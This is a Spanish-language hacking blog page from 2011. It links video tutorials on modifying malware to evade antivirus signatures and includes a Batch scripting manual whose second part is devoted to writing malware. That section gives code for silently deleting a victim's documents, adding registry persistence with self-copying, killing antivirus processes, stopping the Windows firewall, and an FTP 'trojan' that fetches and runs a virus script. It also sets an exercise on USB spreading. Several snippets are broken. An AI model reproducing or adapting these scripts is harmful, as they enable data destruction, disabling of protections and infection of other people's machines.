Mostrando entradas con la etiqueta explicado. Mostrar todas las entradas
Mostrando entradas con la etiqueta explicado. Mostrar todas las entradas

viernes, 16 de septiembre de 2011

Metodo TIL (VideoTutorial) By 2Fac3R

Hi my friends, les traigo este pequeño videotutorial donde les muestro el metodo TIL, el cual lo usamos cuando la firma la tenemos una importacion de librerias, espero les guste y sigan con sus mods.

Detalles del Archivo:
Creado con Screen2Exe
Extension: .exe
Peso: 3.9 Mb
Duracion: 9:15 min

Programas necesarios para seguir el videotuto:
  • CFF Explorer
  • HexWorkshop
  • Crypter/Stub
Descargar --> http://www.multiupload.com/AYT0VOI2WE
Espero le den buen uso ;)

Nota: Hace tiempo que no hacia nada de modding jeje

domingo, 11 de septiembre de 2011

Curso de Modding Para Newbies (By Decoder79 & RocKeG)

Ya que le colabore a mi amigo Decoder79 he decidido postear el curso completo por aca para que lo puedan seguir de forma mas completa, asi que a estudiar se ha dicho!

Primer Video:

Desde lo mas basico...

Descargar --> http://www.multiupload.com/6B83VV4JRM

Segundo Video:

Se explica el uso del DSplit

Descargar --> http://www.multiupload.com/7YUMNVM4IL

Tercera entrega:

El uso del RIT:

http://breaksecurity.blogspot.com/2011/09/curso-modding-para-newbies-ed3-by.html

Cuarta entrega:

Se explica el Metodo XOR:

Aquí os dejo el código utilizado en el videotutorial
http://www.multiupload.com/VFPYWI9E6I

Aquí os dejo el vídeo
http://www.multiupload.com/N1EY08FHOD

Espero le den buen uso, a joder a los Avs!.

Entendiendo AVFucker [By 2Fac!]

Hola hermanos , les traigo este pequeño Video-Tutorial sobre como buscar las firmas con AVFucker, mas explico el funcionamiento especifico de el y como hacer para encontrar la firma, lo que necesitamos para la practica son:

-Un editor Hexadecimal (Hex WorkShop)
-Un locator con AVFucker (como el indetectables offset locator 2.5)

Los programas los pueden encontrar aca

Les dejo el Video...



Recuerden que es modding simple...
Espero les guste, comentar es agradecer.
Zalu2

Manual Batch (Nivel Medio 2da) By 2Fac3R

PARTE DEDICADA AL MALWARE!
Hola compañeros recordar que esta es la segunda parte del Manual Batch (Nivel Medio) By 2Fac3R/RocKeG, y esta parte esta dedicada a los Malwares, esta sera la parte mas extensa del manual asi que preparence, los temas que veremos aqui seran, Bucle, Virus, Worms, ProcessKiller, AvKiller y Troyanos, tambien mencionar que no me hago responsable de el mal uso del que le den a esta informacion, unicamente lo hago con el fin de que aprendan a hacer sus programas en Batch, sin mas hire por el orden mencionado asi que manos a la obra!!!:

Ya habia mencionado lo de los Bucles, y se los habia dejado a su busqueda, ahora veremos varias formas de hacer un Bucle, vamos a un ejemplo sencillo de un Bucle infinito:
Código: [Seleccionar]
@echo off
:inicio
Start www.hackxcrack.es
Goto :inicio
Exit
Este codigo lo que hara seia crear una etiqueta llamada a :inicio� y abre el foro de HxC infinitamente hasta que la pc se trabe, ahora vamos a un peque�o Bucle con diferentes cosas:

Código: [Seleccionar]
@echo off
:inicio
Start /min www.hackxcrack.es
Start/min www.masters-hackers.info
Start/min www.foro.el-hacker.com
Start/min www.i-hacker.info
Start
Goto:inicio
exit
Lo que hace el code es simple, aprovecho para invitarlos a que vayan a estas comunidades donde me he sentido muy bien en ellas , bien, el bucle no es tan interesante, �nicamente es para hacer una peque�a bromita, pero recuerda que hacer mucho esto es de lammers , asi que solo h�ganlo para aprender como funka :p, ok seguire con los Virus, que este concepto se tiene muy diferente por los que andamos en esto del Hacking, en lo personal para mi un Virus es un archivo que solo se encarga de destruir mas archivos, con el fin �nicamente de Ch1nG4R al administrador de la pc, no recomiendo que distribuyan sus �Virus� porque para mi eso es de lammers, pero bueno sigo con el code, dado mi discurso, sabemos que un virus es para borar archivos asi que supongo que sabras como esta compuesto un virus en Batch.
-Mmm� con �Del�?-
Exacto! Entonces vamos a codear, bien �Qu� queremos que haga nuestro Virus?, mmm� pues empezare con un simple virus que destruya todos los archivos de la carpeta �Mis documentos�, para ello es necesario conocer las variables de entorno para este caso vamos a usar una que llevamos usando.
Citar
�Ahh ya s�! %homepath%-

Exacto!, vamos al code.

Código: [Seleccionar]
@echo off
Del %homepath%\Mis documentos\*.*
Exit
NO LO EJECUTES!!

Antes decirte que este code para ser Virus pues no nos funcionaria porque pide confirmaci�n para que elimine los archivos y l�gicamente la victima no lo ejecutara, entonces para que nos funcione vamos a usar algo mas reforzado, usaremos el comando �attrib� y los par�metros de �del�, vamos a cmd y tecleamos �del /?� (sin comillas) y veamos que nos sale�:
Código: [Seleccionar]
Elimina uno o mas archivos.

DEL [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
ERASE [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres

nombres Especifica una lista de uno o m s archivos o directorios.
Se puede utilizar comodines para eliminar varios archivos.
Si se especifica un directorio todos sus archivos se eliminar n.


/P Pide confirmaci�n antes de eliminar cada archivo.
/F Fuerza la eliminaci�n de archivos de s�lo lectura.
/S Elimina archivos especificados en todos los subdirectorios.
/Q Modo silencioso. No pide confirmaci�n con comod�n global
/A Selecciona los archivos que se van a eliminar bas ndose en los
atributos
atributos R Archivos de s�lo lectura S Archivos de sistema
H Archivos ocultos A Archivos preparados para
almacenamiento
- Prefijo de exclusi�n

Si las extensiones de comando est n activadas DEL y ERASE cambian de la siguiente manera:

La sem ntica que se muestra para el modificador /S est invertida de tal modo
que le muestra solamente los archivos eliminados y no los que no se encontraron.

Analicemos los par�metros, nos dice que el par�metro �/f� fuerza la eliminaci�n del archivo, pues vamos a usarlo, usaremos tambi�n el �/s� para que elimine en todos los subdirectorios y usaremos �/q� para que sea �Silencioso�.
-�Entonces como quedar�a el code?-
Pues el code quedar�a asi:
Código: [Seleccionar]
@echo off
Attrib �r �a � s �h �%homepath%\Mis documentos\*.*
Del /p /q /s %homepath%\Mis documentos\*.*
Exit
-
Citar
Ohh crei que se te hab�a olvidado lo del comando Attrib que mencionaste que usar�amos pero ahora veo que no -
Pues ya ves que no :p, entonces ese seria el code, no lo ejecuten en su maquina a menos que tengan una maquina virtual para este tipo de pruebas, si eres mas avanzado quiz�s pienses:
Citar
-Que le pasa a este man, porque no usa for y se deja de escribir tanto c�digo-
Claro!, creo que tienes algo de raz�n pero como he dicho a lo largo de estos manuales que lo dejare a tu b�squeda, pero no te preocupes va a llegar alg�n momento en donde explique el comando, todo a su tiempo :p. Antes de continuar lo dejo a su imaginaci�n �que borran� con su peque�o virus en Batch, recuerden que sabiendo como funka una pc podr�n borrar ciertos archivos y dejarla inservible (para algunas victimas, otras no son tan tontas y pueden recuperarse bajo este tipo de �ataques�, pero pues son menos que las que no ) , bien sigamos con lo que nos interesa, ahora les mencionare �como� hacer un worm, ya hab�amos hecho uno en el primer manual, pero era muy simple para que nos interesara al 100, pues ahora voy a suponer que tienes tu �virus� y lo quieres propagar (o saber como se propaga con Batch ) , lo que vamos a hacer con nuestro virus es copiarlo a la carpeta �system32� y agregarlo al registro para que se inicie con Windows ?, quiz� esto te suene a Chino, pero es aqu� donde se va a alargar este tuto, voy a explicar el uso del registro (brevemente, ya sabes, si quieres algo mas complejo busca por Google|Altavista|Yahoo o el que desees), tambi�n explicare el uso del For
Citar
-Por fin!!!, el famoso for!-
Y varias cosillas mas, bueno primero les mostrare el code e ire explic�ndolo:
Código: [Seleccionar]
@echo off
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VIRUS.bat /t REG_SZ /d "%WINDIR%\14785\SYSTEMSHELL.exe" /f

Copy %0 %windir%\system32

Exit
Con eso es mas que suficiente, lo dem�s lo dejare a su b�squeda ya que no me gusta este tipo de cosas, solo las explico para que aprendan como funciona y como defenderse de ellas, bueno explico; Lo primero es cuando se agrega al registro, en este caso se va a agregar al Run, para que se inicie con Windows, donde dice �VIRUS.bat� es donde vas a poner la ruta del �Virus� que hemos creado o poner la ruta del programa que quieres que se incie con Windows , la siguiente l�nea les debe ser conocida ya que ya la hab�amos usado anteriormente, pero por si se te hab�a olvidado, se copia a si mismo en la carpeta system32 que esta en la carpeta �Windows�. En este caso les dejare una tarea xD, espero que la hagan no como en la escuela que no las entregan xD, la peque�a tarea es que se copie a cualquier dispositivo USB que se conecte, te dare una pista; Usa el comando �IF exist� que seguramente ya lo hab�as buscado por ah�, puedes mand�rmelo por mp o simplemente postearlo en los foros anteriormente mencionados o de donde sacaste este manual (Excepto Taringa xD). Muy bien, sigamos con el manual, empezaremos con un peque�os Taskkiller (Asesino de procesos), esto nos servir� para poder sacar del juego casi cualquier proceso (esto incluye el de los AntiVirus (AV), los comandos que aprenderemos en este tuto son el Tskill o TaskKill y tasklist. Nosotros utilizaremos tskill, bien voy a un ejemplo simple de su uso, primero abriremos el internet explorer ?

Código: [Seleccionar]
@echo off
Tskill 1716
Exit

-
Citar
Como pero asi de f�cil?-
Claro esto es muy f�cil, lo �nico que tienes que hacer es poner el nombre del proceso a eliminar.

�Pero como le hago si quiero eliminar otro proceso?, explicame otro ejemplo para tenerlo mas claro, adem�s no entend� porque ese numero -

Bien, te explicare otro, abre la calculadora del Windows.


Inicio --> Todos los programas --> accesorios --> calculadora :D

Ahora ve al cmd (inicio --> ejecutar --> cmd ? enter) y teclea �tasklist�
Te ha salido una lista de los procesos que se est�n ejecutando en este momento, pues busca ahora el de la calculadora, Deberias haber encontrado un proceso llamado �calc.exe� con un pid de 544, pues adivina� Ese es el nombre que vamos a poner despu�s de tskill, vamos al code:

Código: [Seleccionar]
@echo off
Tskill 544
Exit

Y ejecutalo, recuerda que no deber�as de haber cerrado manualmente la calculadora antes, osea tiene que estar activa en el momento de que la ejecutes :D. Si eres un poco curioso te habras dado cuenta de que no has podido cerrar el proceso del AV, pues eso es algo mas complejo, para poderlo cerra primero debes saber que servicios lo est�n �Protegiendo� pero ese tema se sale de esto asi que lo dejare a tu b�squeda, para que busques espec�ficamente de tu AV :p, entonces buscado esto sabras como hacer un AVKiller, que es un programa en el que primero se quitan los procesos del AV y despu�s elimina por completo de donde se instalo, busca y busca seguro encontraras :D.Pero por si no encuentras en la pr�xima parte prometo poner un buen code de AVKiller ? si es que veo que hay gente que lo hace xD, Lo que sigue para mi es lo mejor, ya sabran los de HxC me ha pegado eso de poner lo mejor al final xD, asi que iremos a lo mejor que es el Troyano, en este caso lo voy a hacer con el comando Ftp (que seguro ya sabes lo del FTP porque te haz le�do las revistas ;) b�sicamente combonare varias cosas que hemos estado viendo en este manual.

VAMOS A CREAR UN TROYANO EN BATCH!!!

Bien empezare por explicarles el code que es este:
Código: [Seleccionar]
@echo off
Echo USER>Troj.tmp
Echo PASWORD>>Trojan.tmp
Echo get Virus.bat>>Trojan.tmp
Echo bye>>trojan.tmp
Echo quit>>trojan.tmp
Start �s:Trojan.tmp Servidor de FTP
Del /f /s /q Trojan.tmp
Start/min Virus.bat
Copy % %windir%\system32
Exit
Vamos a crear un archivo llamado �Trojan.tmp� con las siguientes caracter�sticas: Abrir el ftp poniendo nuestro nombre de usuario (que el lo que sustituiras para que te funcione al 100, despu�s ponemos la contrase�a que tenemos para usar el ftp, y vamos ahora a los comandos del ftp si vamos al cmd y tecleamos �ftp /?� veremos que nos dara error y autom�ticamente nos abrir� el servicio FTP, ahora ah� dentro ponemos �help� (sin las comillas) y nos saldr�n los comandos que podemos utilizar en el servicio FTP dentro de nuestro cmd o bat, voy ahora a explicar unos cuantos que nos servir�n como ayuda para nuestro peque�o troyano en batch, los comandos son, put, get, del, cd, mkdir, rename y rmdir. Los dem�s los dejare a su b�squeda, empecemos el comando del ftp �put� nos sirve para subir un archivo a nuestro servidor ftp, vamos a hacerlo en la cmd vamos a teclear �ftp� (recuerda que sin las comillas :D) y nos ha salido esto:



No recuerda que no soy adivino xD. Bien ahora tecleamos nuestro servidor ftp, en mi caso es Anime online :D, aprovecho para invitarlos a mi web. Ok sin mas vamos a la practica tecleamos �open www.elanime.do.am� (recuerda que debes sustituir por el nombre de tu servidor de ftp) y nos saldr� esto:

Ahora debemos poner el nombre de nuestro usuario y contrase�a, y nos saldr� esto:


Bien ahora estamos adentro de nuestro servidor ftp, vamos a hacer algo, subiremos y descargaremos archivos. Vamos al put , get y �dir�,
-Pero que has dicho? �Dir� es un comando del batch no?-
Claro veo que has estudiado por tu cuenta, recuerda que este manual es solo un peque�o �amigo� para aprender cosas que en otros manuales no he visto :D, bien sin mas vamos al ejemplo, vamos a hacer un dir. Vamos teclea �dir�

El dir nos listara los archivos que tenemos en nuestro ftp, y vemos varios archivo voy a bajar en especifico 1 y subir� un archivo de �prueba.txt�, basta de teor�a y vamos al ejemplo:

Como ven si le damos enter nos descargara el archivo mencionado, que es �libro3.jpeg� que en este caso es una imagen del 3er libro del Avatar xD (el libro fuego),

Este es el resultado que tienes que tener, ahora vamos a ver si nos la ha descargado en realidad:


xD disculpen que este tan distorsionada pero era para que se entendiera el ejemplo xD, sigamos, ahora vamos a subir un archivo, vamos a la cmd de nuevo, y tecleamos �put prueba.txt� (recuerda que yo subir� este archivo que esta en %homepath%
-�Por qu� ah�?-
Pues si te haz fijado en la primera imagen, al iniciar la cmd me aparece esa ruta por defecto, pondr� la imagen nuevamente :

Vemos, que nos aparece en donde dije, esto puede varias depende de la configuraci�n de la pc, asi que no te asusten ni pienses que no te funcionara si no tienes esta ruta :D, bien vamos a continuar.
Bien, se supone que haz intentado teclear �put prueba.txt� que en mi caso tiene que estar en %homepath% osea en la carpeta del usuario (si no entiendes esto del %homepath% leete las partes anteriores del manual).
Vamos a la imagen para que vean que funciona :D

Bien funciono, ahora vamos a hacer un dir para verificar que este ah� :D.


Aqu� estamos viendo el archivo �prueba.txt� (a la derechar) subido correctamente y lo dem�s que esta subrayado son los informe del archivo subido, ok ya entendido todo esto sabemos como funciona el servidor FTP y hemos hecho una prueba de subir y bajar archivos. Ahora vamos a transformarlo a batch y no solo en cmd, vamos a nuestro code de ejemplo el cual sube el prueba.txt y baja �libro3.jpeg�.
Código: [Seleccionar]
@echo off
Echo USUARIO>trojan.tmp
Echo PASSWORD>>trojan.tmp
Echo put prueba.txt>>trojan.tmp
Echo get libro3.jpeg>>trojan.tmp
Echo bye>>trojan.tmp
Echo exit>>trojan.tmp
ftp-s:trojan.tmp www.elanime.do.am
exit
Este es un simple �Troyano� el cual se puede hacer much�simo con esto, cabe decir que si el puerto necesitado por el ftp es el 23 como muchos ya sabran y pues si el puerto esta cerrado esto no funcionara, tampoco funcionara en caso de que el firewall nos bloquee el paso, para ello tenemos que hacer varias combinaciones de nuestros c�digos, por ejemplo primero cerraremos el firewall para ello necesitamos este code:
Código: [Seleccionar]
@echo off
Net Stop �Centro de Seguridad�
Net Stop �Firewall de Windows/Conexi�n compartida a Internet (ICS)�
Exit
Tambien mencionar que este code solo desactiva el firewall de Windows, si nuestra �Victima� tiene otro Firewall como el ZoneAlarm no funcionara ?, pero recuerden que lo dije en un principio :D.
Entonces lo dejo a su imaginaci�n, recuerden lo que hemos visto en esta parte, worm, virus, bucles, AvKiller, etc. Y si le hechan imaginaci�n seguro podras sacar sin problemas al firewall y al AV para poder meter nuestro peque�o �amiguito� (supongo que sabes a que me refiero no ;D.
Les recuerdo que pueden hacer con este manual lo que se les ocurra y se les antoje, menos decir que ustedes lo hicieron xD, recuerden mencionar el Autor del Manual.
Me despido
2Fac3R

PDF:

DESCARGAR -->Multiupload.com - upload your files to multiple file hosting sites!

NOTA: EN EL MANUAL MENSIONO IMAGENES NO HE SUBIDO (AUN) LAS IMAGENES SI QUIERES VERTELO POR EL MOMENTO, BAJATE EL PDF QUE VIENE CON LAS IMAGENES :D ASI QUE PONGANSE A ESTUDIAR.
Zalu2

Manual Batch (Nivel Medio) By 2Fac3R

Hola amigos del blog, espero les haya gustado el manual "Batch desde -1" que hice, mencionar que ese manual lo hize hace como 4 meses donde estaba metido al 100% con el Batch y no es por Fardar pero me quedo uff! xD, bueno en este segundo manual de Batch explicare mas a fondo varias cosas y como ya sabran algunas cosas se las dejare a su busqueda, mencionar tambien que este manual pienso que va a ser el mas extenso dado que para llegar a nivel 'avanzado' es algo mas de tiempo, bueno sin mas discursos empiezo:

Me ire a comandos nada mas, empezare por el "ATTRIB" (recuerda sin las comillas) este comando lo que hace es quitar y agregar atributos a los archivos, veamos un ejemplo:

Código: [Seleccionar]
@echo off
attrib +h "%homepath%\escritorio\prueba.txt"
exit

Lo que nos hara este code es ponerle el atributo de "oculto" a nuestro programa que seguramente hemos creado en el escritorio llamado "prueba.txt", ahora ve al escritorio y dale click derecho --> propiedades --> General y hasta abajo nos saldra tildada la casilla de "oculto". Y para quitarle el atributo de oculto hacemos esto:

Código: [Seleccionar]
@echo off
attrib -h "%homepath%\escritorio\prueba.txt
exit

Ahora compruebalo y veras que es cierto :D. Antes de que se me olvide si quieres checar todas las variables de entorno que hay ve a cmd y teclea esto "set>Entorno.txt" (sin las comillas) y encontraras un .txt donde estaran todas las Variables de entorno. Bien dicho esto aprovecho para explicar los "redireccionamientos" como sabran no soy muy bueno explicandome asi que voy a la practica, este es nuestro code que crea un archivo txt llamado "red" que tiene en su interior "Manual" y lo sobreescribe con "By 2Fac3R".

Código: [Seleccionar]
@echo off
echo Manual>red.txt
echo By 2Fac3R>>red.txt
exit

Prueben con las variables de entorno para que ustedes eligan donde se cree el txt, xD me estoy acordando de cosas que no habia explicado como los "&&", "|", "??" y "*". Bien de uno en uno los hire explicando. Vamos con un ejemplo del "&&".

@echo off
start CCleaner && start Hack x Crack - Inicio
exit

Lo que hace este peque�o code es simple, abre el CCleaner.exe y al finalizar de abrirlo va al navegador por defecto y abre el foro de hackxCrack. Ahora sino tienes el CCleaner donde estas ejecutando el code trata y veras que te dara error :p. Bien el de "|" lo explicare en un futuro donde sera utilisimo para el AVKi... :rolleyes: ya lo sabran xD, bien ahora explicare el "??", lo que hace esto es sustituir por ciertos digitos (sigo sin saber explicarme, espero se me quite en un futuro), bien vamos a un ejemplo, lo explicare junto al "*".

Código: [Seleccionar]
@echo off
del ???.*
exit

Lo que hace este code es borrar todos los archivos que tengan 3 digitos en su nombre y con cualquier extension.

Citar
-Ahh ya he captado lo del asterisco ("*") entonces...-

vamos a otro ejemplo

Código: [Seleccionar]
@echo off
del *.*
exit

Este lo que hace es borrar todos los archivos donde se esta ejecutando nuestro bat.

Citar
-Muajajajaja!!! entonces esto lo podria comvertir en un Virus!!!-

Claro, claro pero todo a su tiempo, habra un manual dedicado a los Malwares asi que esperalo con ansias :p.

Bien entendido esto sigo con los comandos: El siguente comando es:

"CD": Este comando es para poder subir a ciertos directorios, por ejemplo si estamos en C:/ y queremos ir a la carpeta windows dentro de nuestro bat hacemos esto:

Código: [Seleccionar]
@echo off #Suponiendo que estamos en la ruta de nuestro HD que en este caso seria "C:/"
cd windows #Ahora estamos en la carpeta "Windows"
exit

Citar
-Para que me sirve esto?-
Pues la respuesta es muy simple, en caso de que nos queramos ir a la carpeta "system32" que esta en Windows y crear un archivo txt, hariamos esto:

Código: [Seleccionar]
@echo off
cd %homedrive%
cd %windir%
echo Hola mundo>archivo.txt
exit

Seguro pensaste en esto no?, pues si lo pensaste andas algo cerca, con un "Cd %windir% hubieramos llegado a nuestro destino, este comando (en lo personal sirve muy poco) mas bien seria un comando mas xD, pero seguro le sacaran provecho :p. No por esto se brinquen esto que en un futuro lo ocuparemos aprendido:D. Como resumen es otra forma de hacer las cosas en Batch :D. Bien se me ha olviado el "C..", este sirve para retroceder a la carpeta anterior de donde estes.
Me gustaria aclarar varias cosillas :p, de los manuales anteriores, el comando "del" funciona igual que el "erase", el "md" funciona igual que el "mkdir", el "Rd" = "Rmdir", asi que usen el que mas les guste :D. Y el siguiente comando mas explicado (que vimos en las clases anteriores :D) es el "if", ahora a fondo:

Nuestra segunda Calculadora pero ahora mas UTIL

Bien, retomemos el code del primer manual que era:

Código: [Seleccionar]
@echo off
echo Bienvenido a mi primer programa util, xD.
:Elegir
echo �Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Salir
set /p hacer=
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :salir
cls
:Sumar
set /p num= Escribe el primer numero a sumar
cls
set /p num2= Escribe otro numero
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
echo �Quieres sumar otra vez?
echo.
set /p sov= Si/No
if %sov%==si goto :Sumar
if %sov%==no goto :Elegir
:Salir
echo Esta fue la primera calculadora que hago en Batch
pause
exit.

Ahora la haremos algo mas 'Compleja'. Manos a la obra!!!
Pondremos las opciones de restar, multiplicar, sumar y dividir, pondremos una interfaz mas amigables, un buen titulo y un mensaje de despedida. Recordemos que para sumar es +, restar -, dividir /, y multiplicar *. Sin mas vamos al code:

Código: [Seleccionar]
@echo off
title Mi segundo programa util
color 9
echo Bienvenido a mi SEGUNDO programa util, xD.
:Elegir
echo �Que quieres hacer?
echo.
echo 1. Sumar
echo 2. Restar
echo 3. Multiplicar
echo 4. Dividir
echo 5, Salir
set /p hacer= ._
if %hacer%== 1 goto :sumar
if %hacer%== 2 goto :Restar
if %hacer%== 3 goto :Multiplicar
if %hacer%== 4 goto :Dividir
if %hacer%== 5 goto :Salir
cls
:Sumar
set /p num= Escribe el primer numero a sumar._
cls
set /p num2= Escribe otro numero._
cls
set /a res=%num% + %num2%
echo el resultado es %res%
pause
cls
goto:elegir
:Restar
set /p nume= Escribe el primer numero a Restar._
cls
set /p numer= Escribe otro numero._
cls
set /a res1=%nume% - %numer%
echo el resultado es %res1%
pause
cls
goto:elegir
:Multiplicar
set /p num= Escribe el primer numero a Multiplicar._
cls
set /p num2= Escribe otro numero._
cls
set /a resm=%num% * %num2%
echo el resultado es %resm%
pause
cls
goto:elegir
:Dividir
set /p num= Escribe el primer numero a Dividir._
cls
set /p num2= Escribe otro numero._
cls
set /a resd=%num% / %num2%
echo el resultado es %resd%
pause
cls
goto:elegir
:Salir
echo Esto fue la primera calculadora "Compleja" que hago
pause
exit.

Analicen el code y veran como lo entienden, bien la explicacion la deberia de dar pero, la dare, primero nuestro programita nos pregusta que �que queremos hacer?, y cuando le respondemos guarda la respuesta en una variable con "set /p" y va directo al "if" el comando lo que hace es que si la respuesta es 1 va a :Sumar, si es 2 va a :Restar si es 3 va a (go to :...) etc. Despues de ello, al estar especificamente en la suma nos pide un numero, despues otro y los guarda en variables distintas, despues el set /a se encarga de hacer la operacion y el echo nos muestra el resultado, despues nos borra la pantalla y va al inicio. Y asi sucesivamente hasta que le demos en el 5 que es la opcion de salir. Con esta calculadora mas compleja nos permite entender varios comandos, como: el if (aunque sea lo mas basico) goto, las etiquetas, el "cls" que es para borrar la pantalla y los que se encargan de las variables "set /p y Set /a".

Si han entendido al 100 el code, les sera mucho mas facil las siguientes partes ;D, bien ahora quiza muchos estan artos de los ejemplos del "Hola Mundo" y la "Calculadora" no tan util como en los tutos dicen, pero sepan que la intencion de hacer una calculadora en este manual no es que ustedes puedan sumar y restar con ella, sino que entiendan mas o menos como se 'programa' en Batch, asi que NO TE SALTES ESTA PARTE!!! Y ENTIENDELA BIEN PORQUE EN LA SIGUIENTE PARTE TE SERA UTIL!!!, sin mas me despido de esta peque�a parte y decirles o adelantarles que la siguiente parte quiza sea la mas extensa y va a ser orientada a "MALWARE" asi que no se la pierdan!!!.
BY 2Fac3R

PD: Repito lo que en el primer manual, este tuto es libre, pueden hacer con el lo que se les antoje, postearlo en otros foros, etc, etc, pero con la condicion de que mencionen al Autor (2Fac3R o RocKeG)
Zalu2

PDF:

PRIMERO --> http://www.multiupload.com/HDQD1WUKVV
2DA PARTE --> http://www.multiupload.com/6MEG25RG5U
NIVEL MEDIO --> http://www.multiupload.com/UFE74WZ1JW